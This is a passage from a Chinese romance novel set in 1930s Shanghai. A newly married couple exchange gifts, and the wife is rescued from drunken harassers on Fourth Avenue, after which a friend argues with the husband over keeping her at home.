「安琪最近的心情如何?我听依依说相当不错,每天都笑嘻嘻。」傅尔宣问正在擦球杆的辛海泽,只等韦皓天一输,就轮到他上场。

「还不错。」辛海泽点头。「这都要感谢依依,都是她的功劳。」每天抽空陪安琪,还送她一些有趣的东西,难怪她脸上越来越有笑容。

「你不要太鼓励依依,当心哪一天你老婆被她拐去做一些奇怪的事情,到时候你就哭笑不得。」蓝慕唐警告辛海泽,就怕他给葛依依太多的机会做坏事,届时难以收拾。

大家都怕葛依依,实在是因为她那颗脑袋里面,都装些怪点子,让人疲于奔命。

辛海泽不答话,心想就算金安琪真的去做坏事,都比之前的状况好,况且她们两个女生也不可能干出什么惊天动地的事情来,尽管放心好了。

聚会结束,大家大多选择回到公司继续工作,辛海泽原本也想回公司,却在司机发动引擎的瞬间改变主意。

「还是回家好了,小刘。」他嘱咐司机,司机惊讶地看了他一眼,马上转动方向盘,掉头朝辛海泽位于法租界的洋房开去。

法租界的洋房很多,辛海泽的洋房或许不是其中最大的、最豪华的,却是最温馨的。他喜欢木头朴实的质感和香味,也因此洋房的内部装潢几乎都采用柚木,只有少数地方用大理石,和韦皓天的品味明显不同。

金安琪也很喜欢这样的设计,洋房的外观虽然跟她娘家很像,但内部却大大不同。她父亲喜欢采用冰冷的大理石,表现出华而不实的气派。辛海泽的洋房,却处处表现出温馨,尤其整栋洋房的内部装潢都采取英国乡间设计,到处都可以看见小碎花壁纸,宛如置身于花海。

就连厨房,也是如此。

但见金安琪站在一片花海之中,对餐桌上的某种机器皱眉,似乎不知道该拿它怎么办才好。

……是这样玩的吗?

金安琪将桌上那一小杯一小杯材料,全倒进机器上端的铁箱子里,再盖上盖子。

接下来该怎么办,开始摇了吗?

她找到位于机器右侧方的摇杆,握住手把开始摇动,机器果然开始「喀喀、喀喀」地动起来。

真有趣。

金安琪益发加快摇杆的速度,挑战它的极限。

瞬间只看见机器从小抖动到中抖动,又从中抖动到大抖动,到最后整台机器都在抖,看起来非常危险。

「妳在干什么──」

「喀喀喀,锵!」

机器最顶端的盖子随着辛海泽的问话飞出去,机器里面的东西飞出来,刚好喷到辛海泽的脸上,他闪躲不及,一张俊脸就这么挂彩。

金安琪惊惶失措地转身,不期然看着辛海泽的脸上沾满了冰淇淋,吓得不知道怎么办才好。

「对不起!」她匆匆忙忙找可以帮他擦脸的毛巾,找了半天最后才想起来自己随身都携带手帕,于是赶紧从皮包里拿出手怕,帮辛海泽擦拭。

「妳到底在干什么?」辛海泽看着桌上那台机器,很明显是一台制冰机,右侧边还有摇杆。

「我在做冰淇淋。」金安琪多此一举的解释。

「看得出来。」而且还是草莓口味,现在他的脸一定变成一面粉红色的墙。

「对不起。」他的脸确实都变成粉红色了,都是她的错。

「没关系──一分钟冰淇淋机?」辛海泽用他没被冰淇淋覆盖住的眼睛,瞄了冰淇淋机旁边的盒子一眼,只见金安琪尴尬地点头。

「依依拿来送我的。」结果不太好用。「她说昨天她逛永安百货公司的时候,刚好看见有人在卖这台冰淇淋机,觉得很新奇,就买一台让我试试看,好用再告诉她。」

一般国外进口的冰淇淋机,至少要经过一、两个小时不间断的摇转才能凝结,但这台国产的冰淇淋机,却只要一分钟就可以凝结了,至少说明书上是这么写的。

原来如此,原来这台冰淇淋机是依依送的,难怪会出问题。

「似乎不太好用。」冰淇淋凝结不完全不说,还会到处乱喷。

「我也是这么想。」她莞尔一笑,觉得他们好有默契,一致公认它不太管用。

两人脸上的微笑,在金安琪擦干他脸的时候凝住,这好像是他们第一次这么近距离接触。

她的手当场僵在空中,眼睛瞬也不瞬地盯着辛海泽,才发现他也在看她。他们总是在无意中探测彼此的眼神,总是下意识地寻找彼此的身影,如今他们找到也探测到了,只要一点点勇气,再一点点勇气,他们就能打破僵局,更进一步──

「当!当!」自角落传来的巨大钟声,打破这神奇的一刻。终究,他们都没勇气跨出第一步,只能任机会白白浪费。

「我、我真的很抱歉,弄脏了你的脸。」回神后金安琪连忙收回手,表情尴尬不已。「我会跟依依说这台冰淇淋机不好用,请她不要买。」

「算了。」辛海泽回道。「她还是会去买这台冰淇淋机,她的个性就是如此。」不信邪。

「啊?」

「她会告诉你,虽然同样一家工厂出品,但买的人不同,结果也不同,妳手中这台冰淇淋机很可能是瑕疵品,换到她手中,可能就突然恢复正常了,她就是这么特立独行。」只有尔宣才受得了她。

「你好像不喜欢我跟她做朋友。」金安琪听出他语气中的抱怨,以为他不喜欢葛依依。

「妳怎么会这么想?」他惊讶地看着她,不明白她打哪来的想法,完全弄错他的意思。

「没、没有。」她吶吶的回道。「我只是……」她只是觉得,如果他不喜欢她跟葛依依交朋友,那她就不交了。她非常在乎他的想法,但又不敢明着告诉他,两人只能在原地绕圈。

「我在先施、永安和新新三家百货公司都打了招呼,妳要是缺什么,尽管购买、签帐就是了,不必顾虑钱的问题。」同样地,辛海泽也无法当面告诉她他的感受,只好转个弯表达对她的爱慕。

「不必了,我不缺什么东西……」

「反正妳尽管买就是了,我会拜托依依陪妳去逛街,就这样。」他以为她又在拒绝他,这让他非常生气。为什么他们总是好不容易有些进展,她立刻又把他推回原点,不断拒绝他的好意?

「可是……」

「我回公司上班了。」

不给她辩解的机会,辛海泽转身就离开厨房,不久后便听见汽车离去的声音。

「唉!」金安琪真的觉得很无奈,为什么她老是搞砸?

隔天──

「哈啰,我来了,我们准备出门吧!」

辛海泽的效率很高,次日刚用过午饭,葛依依便登门造访,邀她去逛街。

「可是我不想逛街……」金安琪一脸为难地看着葛依依,不知该如何拒绝。

「胡说,没有女人不爱逛街的,妳赶快去换衣服吧!」既然不知道怎么拒绝,就别拒绝,乖乖听话就是了。

金安琪直到此刻才明白,葛依依虽然长得一张清纯动人的脸,固执程度却不下辛海泽,难怪他会要她们做朋友。

金安琪拿一脸无辜可爱的葛依依没辙,猜想当初傅尔宣八成也是栽在她的灿烂笑容下,随她予取予求。

原则上她没猜错,但葛依依也时常被傅尔宣关禁闭,这点她就没猜对了。

夫妻嘛!如果没有适时的退让,怎么携手到白头,大家说是不是?

葛依依笑嘻嘻地等在楼梯口,不久金安琪便打扮完毕,两个少奶奶便搭着自家车快快乐乐去逛街了。

「今天我一定买到海泽破产为止才罢手。」葛依依早已准备好大开杀戒,目标直指辛海泽的荷包。

「呃,不需要买这么多东西……」她节省习惯了,不喜欢乱花钱……

「别怕,妳嫁了个有钱人,不花白不花。」葛依依对金安琪眨眨眼,要她尽管放宽心砸钱。

「我以前也不爱买东西,但是现在我倒是满能享受购物的快乐的。」这大概也算是嫁给有钱人的后遗症,不过前提也得要对方是个「大方」的有钱人,若是不幸嫁到一个守财奴,那就完了。

「看得出来。」葛依依凶狠的表情,让金安琪忍不住又是「噗」一声,和她在一起真的好快乐。

「嘿嘿!」葛依依不好意思地搔搔头,她好像在教坏她哦?

「总而言之,我们用力买就对了。」据她所知,海泽那痴情的家伙已经打过招呼,无论买多少东西他都认帐,不好好削他一笔,可就对不起他了。

「嗯。」金安琪点点头,认定她顶多买条手怕就算交差,结果不是那么一回事。

决心花光辛海泽钱的葛依依,哪可能这么轻易让她过关?就看见葛大小姐,东帮她挑帽子,西帮她买洋装,南帮她选旗袍,北帮她买鞋子,不过几个钟头的时间,就已经扫光百货公司,签下一堆帐了。

「买得很过瘾吧?」葛依依又帮金安琪挑了一件淡紫色针织外套,拿给店员结帐。

「嗯。」金安琪点点头,能够像这样毫无节制的买东西的确是一种幸福,过去她的衣服总是改了又改,或是好几件旧衣服拆开重新缝在一起,从来不曾一次买这么多新衣服,真是太奢侈了。

「女人的衣服永远少一件。」葛依依是过来人,以前她好像也不像现在这么喜欢购物,都怪她老公宠坏了她,嘻嘻嘻。

「哇,都已经这么晚了,该去买尔宣的东西了。」葛依依看看表,上头写着五点四十,都到了吃晚饭的时间。

「傅先生有托妳买东西?」金安琪很不好意思,总觉得耽误了人家的时间。

「没有。」葛依依俏皮的吐舌。「是我自己要送给他的,女人偶尔要懂得撒娇,才会得丈夫疼。」

这算是她的结婚心得,大概跟她太顽皮有关,三不五时就捅楼子让她丈夫收拾,当然也得要回馈他一下,他才不会抗议。

葛依依驭夫有术,听得金安琪好羡慕。她和海泽连手碰一下都会觉得尴尬,他们夫妻俩却可以打打闹闹过日子,真的相差好多。

「我打算买一副袖扣给尔宣。」葛依依早已列好清单,想好要买什么给她老公。

「袖扣是满好的选择。」金安琪附和葛依依的话,一边跟上她的脚步到男装部,发现男装的种类其实也满多的,花俏程度不下于女装……

「怎么啦,妳干嘛停下脚步?」她们走到一半,金安琪却突然间停下来,两眼盯着某样东西。

「我只是在看帽子。」吸引她的是一顶白底中间镶着一条黑色宽带的男用帽,质感看起来非常好。

「帽子?」葛依依也跟着停下脚步,帮忙看那顶白色帽子。

「是啊!」金安琪点头。「我觉得那顶帽子很适合海泽,他戴起来一定很好看。」

「是不错。」葛依依完全同意金安琪的观点,认为她的眼光好极了。「妳怎么不干脆买下来送海泽,他一定会很感动。」

「可是我从来没有买过礼物送给男人……」她不敢……

「凡事都有第一次,妳一定要勇敢跨出第一步。」葛依依在一旁怂恿。「况且这个男人不是别人,是妳的丈夫。我向妳保证,如果妳将这顶帽子送给海泽,他一定欣喜若狂。」高兴到冲上天。

「真的吗?」被她这么一鼓吹,金安琪忍不住激动起来。「海泽他真的会很高兴?」

「绝对!」葛依依拍胸脯保证,金安琪才把帽子买下来,欢欢喜喜地拿在手上。

「妳一定要拿给海泽,知道吗?」葛依依怕金安琪到时又因为畏缩,临时改变主意不送给辛海泽,事先跟她约法三章。

「知道了。」金安琪承诺她一定会将帽子送给辛海泽,葛依依这才满意的点头。

「啊!糟了,尔宣的袖扣!」扯了老半天,最重要的东西没有买到,于是两个女人匆匆忙忙赶到专卖男性袖扣的专柜,帮傅尔宣买了一副金色的袖扣。

「大丰收。」采购结束,葛依依笑嘻嘻地看着所购买的东西一包一包被装上车,有种大快人心的充实感,终于让她等到这一天。

「不知道会不会被骂?」金安琪却很后悔自己干嘛这么冲动,买了一堆东西,感觉好浪费。

「放心,海泽才舍不得骂妳。」葛依依仍旧笑嘻嘻。「他那个人啊!不轻易开口,但只要开口了,妳要怎么买都没有关系。」所以她才狂扫一车,测试他的极限,反正又不是她出钱,呵呵。

「可是……」

「好了,妳该回去了。」这下子换葛依依着急,晚回去又要挨骂。「我也得赶快回家吃晚饭,不然尔宣会不高兴。」她并且学起傅尔宣横眉竖眼,逗得金安琪格格笑,开心得不得了。

「再见,谢谢妳陪我逛街。」金安琪首先坐上出租车,跟葛依依开心地挥手,接着扬长而去。

葛依依随后跳上自家汽车,火速赶回家,傅尔宣果然已经双手插腰,等着拧她的耳朵,她马上祭出手中的免死金牌──那副金色的袖扣,然后什么事也没了。

男人真好骗。

另一方面,辛海泽则是心急如焚,到处打电话找人,直到确定葛依依也还没回家,一颗心才跟着放下来。

「我回来了。」

他才刚放下电话,就听见开门声,他连忙回头。

「咦?你在啊!」金安琪没有想到他今天这么早回来,吓着了之余还兼心虚,不晓得怎么处理门外那一堆东西。

「已经到了晚饭时间。」看样子她是玩疯了,以至于忘了回家的路,真不该将她交给依依的。

「呃……」她羞愧地低下头,第一次放纵就被逮到,看来她还真没有玩乐的命……

「进来吧,别站在门口。」他好奇地看着金安琪奇怪的举动,她的背后似乎藏了什么东西。

「好……好。」她一跛一跛地往前移动,样子既好笑又好玩,辛海泽更好奇了。

金安琪扭扭捏捏了大半天,最后终于在他好奇的眼光下,鼓起勇气,将藏在身后的白色帽子拿给辛海泽。

「这是送你的。」她的脸都红起来。

辛海泽愣住。

「你不喜欢吗?」她不明白他为何只是一直盯着她,而不接过帽子,这样她好尴尬。

「不,我很喜欢。」辛海泽回神接过帽子,金安琪连忙收回手。

「喜欢就好了!」而后,她又拉起洋装裙襬冲上楼,把自己锁在房间,兴奋地尖叫。

独自一个人站在客厅中的辛海泽很快又闪神,两眼直直地盯着手上的白色帽子。

她居然买了一顶帽子送他?真不可思议。

看着手中的帽子,辛海泽果然就如葛依依预期的:感动万分,欣喜若狂。

看来,女人只要用对方法,无论哪一种个性的男人都不是问题,一样乖乖束手就擒。

「哎呀,老爷!外面这堆东西要怎么处理?」姆妈看见了金安琪买的东西哎哎叫,堆得跟座小山似的。

「全拿到客房。」辛海泽一点也不心疼地命令姆妈。

所以女人偶尔要懂得撒娇,就是这个道理。


辛海泽宝贝似地抚着金安琪送给他的帽子,总觉得它的造型颜色好美。

「老板,您这顶帽子我没见过,是新买的?」司机小刘用眼角余光瞄辛海泽手上的帽子,他似乎很珍惜它。

「是安琪送的。」辛海泽的语气不无得意。「她昨天逛街的时候买给我的,还问我喜不喜欢。」

「您怎么回答?」小刘跟着辛海泽也有好几年了,这段期间,辛海泽不断打探金安琪的消息,对她非常痴情。

「当然是说喜欢。」不可能有第二个答案。

「夫人对您真好,还买帽子送给您。」不像他家那只母老虎,成天跟他要钱,不给就发飙。

小刘叹气。

「是啊!」说实话,他也没想到她会送他礼物,而且眼光这么精确。

「这么好看的帽子,真希望我也有一顶。」小刘羡慕地说道,也认为金安琪的眼光独到。

「你可以请你老婆买给你,或是自己花钱去买。」辛海泽难得跟司机开玩笑,听得小刘哈哈大笑。

「那可就别想了!」他老婆才不可能买给他哩。「不过说真的,老板,您是不是该送束鲜花什么的,给夫人当作回礼?」

小刘是传统的上海小男人,大男人那套不会,煮饭炒菜样样行,讨好老婆也挺上手,这会儿正给辛海泽建议。

「给安琪回礼?」辛海泽愣住,他倒是忘了,收礼是要回的,小刘这建议没错。

「当然。」小刘一派内行。「女人最喜欢收礼物,而且最贪心,你送什么,她就收什么。没收到的,她们会要你想办法弄到。收到的,又嫌你诚意不够,送得不够多、不够好,真受够了她们……」

接着就听见小刘唠唠叨叨念个没完,辛海泽怀疑小刘口中所谓的「她们」,其实只有他老婆,她似乎是个贪心的女人。

但他的安琪不贪心,辛海泽知道。

他送她的衣服,她没穿几件,昨天冲动买下的那一堆行头,也在烦恼该怎么解决,还一直背着他偷偷问姆妈:「能不能退回百货公司?」着急的模样甚是可爱。

那么,他该回什么样的礼物给她呢?

辛海泽伤透脑筋。

衣服不稀奇,鞋子、首饰她也有一大堆,再多送就没有意义了。

伤脑筋,该送她什么样的礼物才好呢……咦,有了!

「小刘,把车开到我时常光顾的笔店去,我要去买笔。」就决定万年笔!她喜欢看书,一定也喜欢偶尔写写东西,送笔最有意义。

「您要送夫人笔?」小刘愣住,不愧是上流社会的赠礼,要他就只会想到买衣料,哪扯得到笔去。

「快把车子开走就是了。」辛海泽平时算是个有耐性的雇主,可今天他真的没有耐心听司机唠叨,只想尽快挑选给金安琪的礼物。

「是,老板。」小刘没敢再啰唆,连忙转动方向盘,把车子开往南京路的「福克斯笔庄」,辛海泽在那里看中了一枝小巧精致,很适合女性用的白色万年笔。

「麻烦请帮我包起来。」白色的笔身很少见,更何况还有立体雕花,造型非常优雅。

「好的,辛先生。」笔庄老板也算半个熟人,特别给他折扣优待。「一百八十元给您打个八折,总共是一百四十四元,另外送您一瓶墨水。」

笔庄老板并且很细心地帮他用了一张很漂亮的包装纸包好,再绑上一条红色丝带,让辛海泽能骄傲地送人。

买完笔后,辛海泽迫不及待地回到家,金安琪正在客厅里面看报纸。

「这是我送妳的回礼。」和金安琪一样,辛海泽在买东西的时候很高兴,送东西给人的时候,就开始犹豫,在金安琪身边徘徊了很久,才将东西拿给金安琪。

「给我的……回礼?」金安琪接过包装精美的礼盒,不怎么确定地看了他一眼。

「打开来看。」辛海泽催促金安琪拆开包装纸,她照着他的话做,心里有点舍不得打开,因为真的包得好漂亮……

「这是?」当她看见盒子里面的万年笔,她愣住了。他居然送给她一枝万年笔,这比什么礼物都令她感动,都教她雀跃。

「我想妳这么喜欢看书,应该也会想要写点东西,于是就挑了这枝笔给妳当作是回礼,谢谢妳送我帽子。」辛海泽从她闪动的眼睛之中,看到了感动,也看到水光,她真的很喜欢这枝万年笔,他买对了。

「你其实不必给我任何回礼的。」金安琪尽力忍住澎湃的情绪,冷静回道。「我就算是送你帽子,也是用你的钱。」她没有任何功劳。

「我不许妳这么说。」她的话让辛海泽非常生气,她又看轻自己了。

「这是事实。」不说,并不等于没有发生。

她原本可以不必这么穷的,她还是有些财产,有些她母亲留给她的珠宝,那也值不少钱。要不是她父亲太冷酷、太贪婪,把她所有财产、珠宝全部搜刮光,她也不会连一顶帽子的钱都拿不出来,结果到头来还是他自己付钱,她却厚颜无耻地拿他的回礼。

「安琪!」

「我是个穷光蛋。」她很高兴他送给她笔,但她着实忍不住心中的挫折感,为什么她必须这么穷呢?

「我不许妳看轻自己──」情急之下,辛海泽双手抓住金安琪的肩膀,想将她摇醒,别再陷入自怜的情绪,两人不期然近距离接触。

他们互相凝视,眼神在空中擦出热情的火花,照眩了他们的眼睛,也炸碎了他们的理智。

他们不自觉地互相靠近,再靠近,直到两人的呼吸几乎融在一块儿,嘴唇几乎彼此贴近……

「太太,茶泡好了,可以准备喝下午茶了!」

很不幸,当他们好不容易才跨出第一步,姆妈不识时务的打扰又让他们退回到原点,白白浪费这次机会。

「饼干我也准备好了,就放在院子里面的小餐桌上──咦?老爷,你回来啦!要不要和太太一起喝下午茶?」说姆妈不解风情,倒还很会帮金安琪创造机会,竟然主动开口邀请辛海泽留下来喝茶。

「不必了,我只是回来──好吧!我和太太一起喝茶。」他原本想拒绝,但在金安琪期盼的眼神下硬是改口,姆妈也替他们高兴。

「太好了,我再去帮您准备一套茶具。」

星期五的下午,天气非常之好。

辛海泽和金安琪两人悠闲地在院子里头喝下午茶,两人不时互相偷瞄,不时不经意的凝视,气氛非常融洽,心也更贴近一些。
和辛海泽相同,金安琪亦非常珍惜辛海泽送她的万年笔,时常拿出来把玩。

她念大学的时候也有一枝万年笔,还是派克牌的。后来被她不小心弄丢了,母亲原本想再帮她买一枝新的,但怕被她父亲发现,也就作罢,至今她仍时常想起那枝小金笔,它陪伴她度过最快乐的时光,她永远都会怀念它。

不过,现在她更喜欢这枝威迪文牌万年笔,因为这是辛海泽送给她的。

将白色雕花万年笔高高拿起来摊在光线下,金安琪多希望他的心也能像笔身一样亮透,一样清晰可见。

他们总是无法畅快表达出彼此的感情,也不知道彼此的心事,但他们却是夫妻。

安琪,妈咪要妳以后嫁给妳所爱的男人,不要学妈咪,为了家族利益而牺牲,那就像恶梦一样。

耳边响起母亲临终前的遗言,金安琪比谁都更能体会母亲心里面的痛,她为了家族牺牲,结果换来恶梦般的生活,直到她死后,都不能从这恶梦里面解脱,牌位还得遭受她丈夫威胁。

重重吐一口气,金安琪不敢想象,万一她母亲要是知道,她居然又走回她的老路子会怎么想?恐怕做鬼都不会安心吧!

问题是她的对象与母亲不同,所受到的待遇也不一样。她母亲被她父亲视为粪土,她却被辛海泽小心呵护。

只是,呵护归呵护,她却不明白他的心里到底怎么想,他对她有感情吗?他当初为什么买下她?这些都像是谜一样终日在她脑海中盘旋,理不出头绪,她真希望能够早日找到答案。

许是想得太入神了,金安琪的手竟一时没拿稳,威迪文万年笔当场掉落在地上。

「糟了!」金安琪尖叫,赶忙蹲下身把笔捡起来,检查笔有没有受伤。

「发生了什么事,太太妳怎么叫得这么大声?」姆妈听见金安琪尖叫,以为发生了什么不得了的事,赶快赶来客厅一探究竟。

「我的……我的笔尖坏了。」她欲哭无泪地看着18K金笔尖,都开岔了。「海泽送给我的万年笔被我摔坏了,该怎么办?」

他才送她不到两天,就被她弄坏了,她怎么对得起他的心意?

「没关系,可以拿去修,不打紧的。」吓了她一跳,她还以为是什么大事呢!原来只是摔坏笔。

姆妈拍拍胸口压惊。

「要拿到哪边修理?」对金安琪来说,这是天底下最大的事情,这等于糟蹋了辛海泽的心意。

「拿到四马路修理啊!」姆妈说。「那儿有好多修万年笔的摊子,看是笔头坏掉啦,或是里头的零件掉了,都有得修,都找得到零件的,不怕。」

「真的吗?」金安琪总算能够放下心来,她还以为没救了呢!

「那我现在马上拿笔去修,麻烦您帮我叫车。」金安琪心急如焚,立刻就想修好万年笔,只见姆妈一脸为难。

「但是现在我正在忙,恐怕不能陪妳去哪!」姆妈负责的事情不少,除了家务之外,厨房的事情也得忙,辛海泽特别爱吃她烧的菜。

「我可以自己去,不用您陪。」她不是易碎的洋娃娃,做什么事都要人陪,她可以照顾自己。

「要不然我打电话请葛小姐陪妳去,妳稍等一下──」

「颜妈,我自己去就可以了,请您别忙了。」金安琪坚持不麻烦别人,姆妈只得放下电话。

「不是我喜欢多事,太太。」姆妈也很无奈。「而是四马路那边有些乱,虽然妳去的是东段,但难保不会有西段的小混混跑到东段去,我是为了妳的安全着想哪!」

四马路算是全上海最具特色的老街,东段是文化街,中华书局、商务印书馆都在那儿,是文化用品的集中地,极为热闹。

西段是妓女窟,一入夜,就成了红灯区,妓女、寻芳客、流氓、混混全在那个地方出没,也是同样热闹得很。

所以说,姆妈的担心并非毫无道理。虽说现在是大白天,但也有闲来无事的小混混,喜欢在大白天出来闲逛,就怕遇见这些无赖。

「不会的,颜妈,我会尽快回来,不会有事的。」金安琪了解姆妈的顾虑,但她个人认为这是多余的,她只是去修笔,不会待到天黑。

「太太──」

「请帮我叫一辆出租车,麻烦妳了。」无论姆妈说什么,金安琪都一定要去,姆妈只得叹气。

十分钟后,出租车就来洋房将金安琪载走,她也如愿找到修笔的笔摊。

「师傅,我这枝万年笔的笔尖歪了,请您帮我看一下。」修笔的摊子还真不少,她从中挑选了一个看起来最有经验的老师傅,他一瞧见她的笔,眼睛都亮起来。

「小姐,您这枝万年笔可真是漂亮,值不少钱吧?」老师傅左看看、右翻翻,并且把笔举高让阳光照透它的笔身,看得金安琪挺担心的,好怕他会把笔摔坏。

「我不知道,是我丈夫送我的,我并不知道真正的价钱。」她答。

「错不了的,少说也值个一百二、三十元,或许还更多哩!」这做工、这厂牌,一定要这么多钱的。

金安琪闻言倒抽一口气,那不就等于一般工人三个月的薪水吗?这下子更坏不得了。

「请问,有办法修吗?」金安琪焦急地问老师傅。

「得再仔细检查才知道,您稍等一下。」老师傅也没有把握能够修好,损坏得太严重,笔尖都分岔了。

「万年笔落地的时候,笔尖是不是直接打在地板上?」师傅是老经验了,一看就知道她干了什么好事。

「是的,师傅。」金安琪点头。「是直接打在地板上。」

「那就麻烦了。」老师傅皱眉。「这笔尖很可能已经不能用了,得再换另一块。」真是可惜。

「换一个笔尖大概要多少钱?」金安琪捏了捏手拿包,就怕带不够钱。

「您这笔尖是上等货,可能得花二十元左右。」老师傅仔细评估。

二十元,她刚好就带这么多,若是全数都花在修理笔上面,就没有钱坐车了。

「就麻烦您更换了,师傅。」金安琪豁出去了,没有钱坐车,顶多走路,务必要将笔修好。

结果老师傅现有的零件之中,找不到尺寸相吻合的笔尖,还得再跟人调货,这耗费了不少时间,金安琪只能耐心地在一旁空等。

岂知,辛海泽送她的这枝笔是特殊尺寸,老师傅调了许久还是没有调到,差点不愿意帮她修理,要她把笔再拿回去了。

「师傅,拜托您再帮我找找,一定有的。」金安琪不死心,一再拜托修笔师傅帮忙,他看她那么急,只好再调调看。

时间一分一秒的过去,从金安琪出门修笔,到调到笔尖,已经过了好几个钟头,直到天色转黑,万年笔才修好。

「小姐,笔修好了,总共二十元。」老师傅将笔还给金安琪,她试写了一下,笔尖的触感跟原厂当然无法相提并论,但至少能写了,金安琪好高兴。

「谢谢您,师傅,这是二十元,您点一下。」金安琪将拿包里面的钱都拿出来交给师傅。

「数目没错,以后若是有需要,请再光顾。」老师傅很高兴地跟金安琪道谢,她对师傅点点头,又仔细摸了一下万年笔,才将笔放进拿包里面收好。

身上都已经没钱,金安琪只得想办法走回家。但她家距离此地极为遥远,回程的路上,又不可避免地会经过红灯区,说实在的,她也不怎么愿意,但事到如今,也没有办法了。

瞬间就看见金安琪一个女孩子家,孤伶伶地走在宽广的大马路上,前方灯红酒绿,潜藏了不可知的危险,她却毫无选择,只能一直往前走,再往前走,回家的路显得如此遥远而漫长……

同一时间,辛海泽却是开着车,到处寻找金安琪。

他先从四马路的修笔摊找起。

因为姆妈半个钟头前才着急不已的打电话到他公司,告诉他金安琪拿笔到四马路来修理,已经过了好几个钟头还没有回家。他一听见这消息,立刻丢下手边的工作,飞也似地赶过来。

入夜后的四马路,景致和白天截然不同。

东段白天人来人往,入夜后人潮开始慢慢变少;西段一到晚上,却是相反地开始活跃,霓虹灯一盏一盏接着亮起,表面上看起来很耀眼,却很容易让人迷失,他只希望金安琪没事……

「哟,这边有个漂亮的小姐,一个人走在大马路上呢!」

只是辛海泽这希望恐怕要落空了,四马路妓女窟最不缺的,就是迷途的酒鬼和寻芳客。对他们来说,这里就是天堂,只要是在这里出没的女子,都是他们猎艳的目标,都可以任意染指。

他们此刻的目标,就锁定在落单的金安琪身上,几个男人联手起来调戏金安琪。

金安琪尽可能保持冷静,不理他们,继续走她的路。

「哇哇哇,这个妓女好跩,完全不理我们呢!」这些男人很显然都是寻芳客,华灯初上,就出来打野食,并且喝得醉醺醺,浑身都是酒臭味。

「兄弟们,围住她,看她还敢不敢嚣张,不同我们说话。」几个臭男人仗着人多势众,公然就在大马路上欺侮良家妇女,也不见有人出来阻止。

「让开,我不是这边上班的女人,请你们别挡路。」金安琪将头抬得高高的,展现她官家大小姐的气势,但对这群喝醉了的寻芳客,完全没用。

「别自抬身价了,臭娘儿们,这里的女人都一个样儿,都是给人玩的。」这群纨袴子弟,明显以为她只是借故提高价码,不以为她是说真话。

「我只是路过这里,请你们不要误会。」她试着跟他们讲理,但效果不彰,他们完全听不懂道理。

「你们听见没有?她说只是路过这里,这娘儿们真有意思。」每只野鸡都是「路过」这里拉客,谁会固定站在一个地方?不然就不叫野鸡了。

「妳就别装了。」其中有人失去耐性。「妳一次要多少钱?一兀、两元还是三元?」

「像她这种上等货色,至少值个五元吧!」

「说不定不只哦,哈哈哈!」

「说不定,哈哈哈!」

越说越不象话。

金安琪决定不再跟他们讲理,趁着他们忙着仰头大笑,一时没注意她的时候,从右手旁边的空隙溜走,才踏出第一步,就被这些寻芳客发现了。

「可恶的娘儿们,居然敢偷偷溜走,抓住她!」

寻芳客们被金安琪的动作惹毛了,直接动手抓人,金安琪反射性地放声尖叫。

「啊──」

砰!

砰砰!

她以为她死定了,就要受到这些寻芳客的侮辱了,怎知他们的手还没有碰到她,一个一个就被打倒在地,哀嚎连连。

「你是谁──」砰!

敢开口询问的人被打得更惨,整个人被打飞出去,头并撞上路边的电线杆,当场血流如注。

「大爷,饶命啊!我不敢了──」砰砰砰!

连续三个重击,把说话的寻芳客打得不成人形,脸都肿起来。

「救命啊!」

砰!

挥拳的人显然已经停不下来,整个人沈浸在狂暴的情绪之中,除非有人能够使他冷静下来,不然真的会出人命。

「海泽,不要再打了。」金安琪两手捂住嘴,不敢相信救她的人是辛海泽,更不敢相信,他打起人来这么凶狠。

「我拜托你不要再打了,会出人命的!」她好怕他打死人,到时候她怎么办?

「拜托你,海泽,拜托……」她已经快哭出来,辛海泽直到此刻好像才听见她的声音,认出她这个人。

他松开对手的领子,但见对方像人偶一样「砰」一声跌落在地上,和他的其他兄弟一样惨。

「我们快走!」一群被打惨了的寻芳客,也不敢上前同辛海泽理论,个个像落水狗一样落荒而逃,就怕殿后被打得更惨。

「海泽……」金安琪睁大着一双明眸,看着辛海泽朝她走近。

她以为他至少会骂她两句,怎么知道他竟然只是将她拥进怀里,用颤抖的声音说──

「我担心死了。」他的双手并且把她抱得好紧好紧。

金安琪憋了许久的泪水瞬间决堤。

她从不知道,他是如此看重她。或许,在他的内心深处,对她是有感情的,她也不敢肯定。但此刻这些都不重要,只要他抱着她,她便感到前所未有的安全,便感到幸福。


金安琪因为坚持自己一个人去四马路修笔,因此而差点被一群喝醉的寻芳客欺侮,从此以后,她想出门便难如登天,算是被软性禁足。

她个人是无所谓,反正她也喜欢待在家里,并不喜欢出门。倒是葛依依颇为金安琪叫屈,因为辛海泽居然霸道到连有她作陪都不肯点头,这可惹毛了葛大小姐,认为他无理取闹,保护过度。

为此,她找到辛海泽的公司同他理论,差点没有搞疯他。

「你怎么可以把安琪软禁在家里,她太可怜了!」葛依依甫开口便气势如虹,辛海泽只得耐着性子同她讲理。

「我不是软禁她,我只是保护她,不希望她受到伤害。」没有她说得那么严重。

「不给她出门,就是软禁她,你想闷死她吗?」她可不觉得这是保护,根本是惨无人道。

「依依……」

「你没有被软禁过,你根本无法体会被软禁的滋味!」葛依依被软禁怕了,她只要一出乱子,就会被罚好几天不能出门,身上的钱还会被全数没收,是天底下最可怕的刑罚。

「你知道软禁是什么滋味吗?」想到她就头皮发麻。「你不知道的话我告诉你!软禁就是什么事都不能做,只能坐在房间里面对着天空发呆。软禁会使人的头脑变呆,动作也会慢下来,每天像母猪一样的吃吃吃,因为无事可做,只好把自己吃撑流口水,四处寻找点心零食。不仅如此,软禁还会使人心理变态,整天想着要如何复仇,报复将她软禁的男人。晚上作梦的时候,都会梦到自己正在磨刀,『锵!锵!锵!』痛快地磨着刀子,好痛宰那个将她禁足的男人──」

「停!」辛海泽受够了她的唠叨,她说的那个女人绝对是指她自己,不会是他的安琪。

「妳到底要我做什么,直接开口。」别用这种残忍的方式折磨他。

「我要你带她出去走走,别老是闷在家里。」嘿嘿嘿,她就知道这一招有用,早就有备而来。

「你既然不放心安琪单独出门,何不带她出席一些公众场合,顺便平息流言。」一箭双鵰,多划算。

「流言?」他行事已经够低调了,居然还会有流言?

「没错。」葛依依无奈地点头。「现在外头到处有人说,你是因为用钱买下安琪,所以才羞于带她出入公共场合,传得很难听呢!」

「我本来就很少出现在公共场合。」该死,这是什么时候发生的事,怎么都没有传进他的耳里?

「我知道,但是嘴巴长在别人的身上,他们要说,我们也管不着啊!只能赶快通知你这件事。」到底这是个小道消息充斥的社会,上海人又好面子,爱看笑话。他们夫妻长期不出门,总容易引来揣测,最好是赶快出现在公共场合,用实际行动打破流言。

